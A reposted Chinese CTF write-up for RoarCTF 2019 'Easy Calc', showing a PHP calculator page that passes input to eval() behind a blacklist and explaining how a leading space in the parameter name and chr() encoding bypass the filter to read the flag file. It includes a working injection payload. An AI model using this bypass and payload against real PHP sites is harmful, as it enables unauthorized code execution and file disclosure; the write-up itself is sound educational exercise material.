码迷,mamicode.com
首页 > 其他好文 > 详细

[RoarCTF 2019]Easy Calc

时间:2021-06-13 09:27:14      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:black   image   文件中   数据类型   ber   就会   int   rabl   lazy   

点开题目,发现只是一个计算框

技术图片

 

 查看一下源代码

发现了一串代码

技术图片

.ajax是指通过http请求加载远程数据

 

输入的算式会被传进calc.php文件中

 且提示网页存在waf(就是防火墙)

访问cala.php试试

有一串php代码

 1 <?php
 2 error_reporting(0);
 3 if(!isset($_GET[‘num‘])){
 4     show_source(__FILE__);
 5 }else{
 6         $str = $_GET[‘num‘];
 7         $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘,‘\$‘,‘\\‘,‘\^‘];
 8         foreach ($blacklist as $blackitem) {
 9                 if (preg_match(‘/‘ . $blackitem . ‘/m‘, $str)) {
10                         die("what are you want to do?");
11                 }
12         }
13         eval(‘echo ‘.$str.‘;‘);
14 }
15 ?>

其中foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。

有两种语法

foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement    

这里顺便记一下正则表达式匹配的几个参数

/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

给num传数字行

技术图片

 

 给num传字母则不行

技术图片

 

 应该是waf的原因

然后就不会了。。

查了一下,可以利用php的解析规则来绕过

就是当php进行解析的时候,如果变量前有空格,就会删去空格再进行解析

而前面的黑名单中就没有考虑到这个状况

我们就可以在num的前面加个空格来绕过

因为这是我们的变量名就是“ num”而不是“num”了

试试看能不能行

技术图片

 

 成功绕过了

接下来就是执行命令了

技术图片

 

 忘记前面过滤掉“/"了

可以使用chr(47)来绕过

chr()就是返回当前整数代表的ascii字符,而chr(47)就是/

成功了

技术图片

 

 发现了flagg文件夹,猜测flag就在这里

访问看看

这个可以用file_get_contents() 函数来读取

构造payload:? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

成功得到flag

技术图片

 

[RoarCTF 2019]Easy Calc

标签:black   image   文件中   数据类型   ber   就会   int   rabl   lazy   

原文地址:https://www.cnblogs.com/c0d1/p/14876384.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!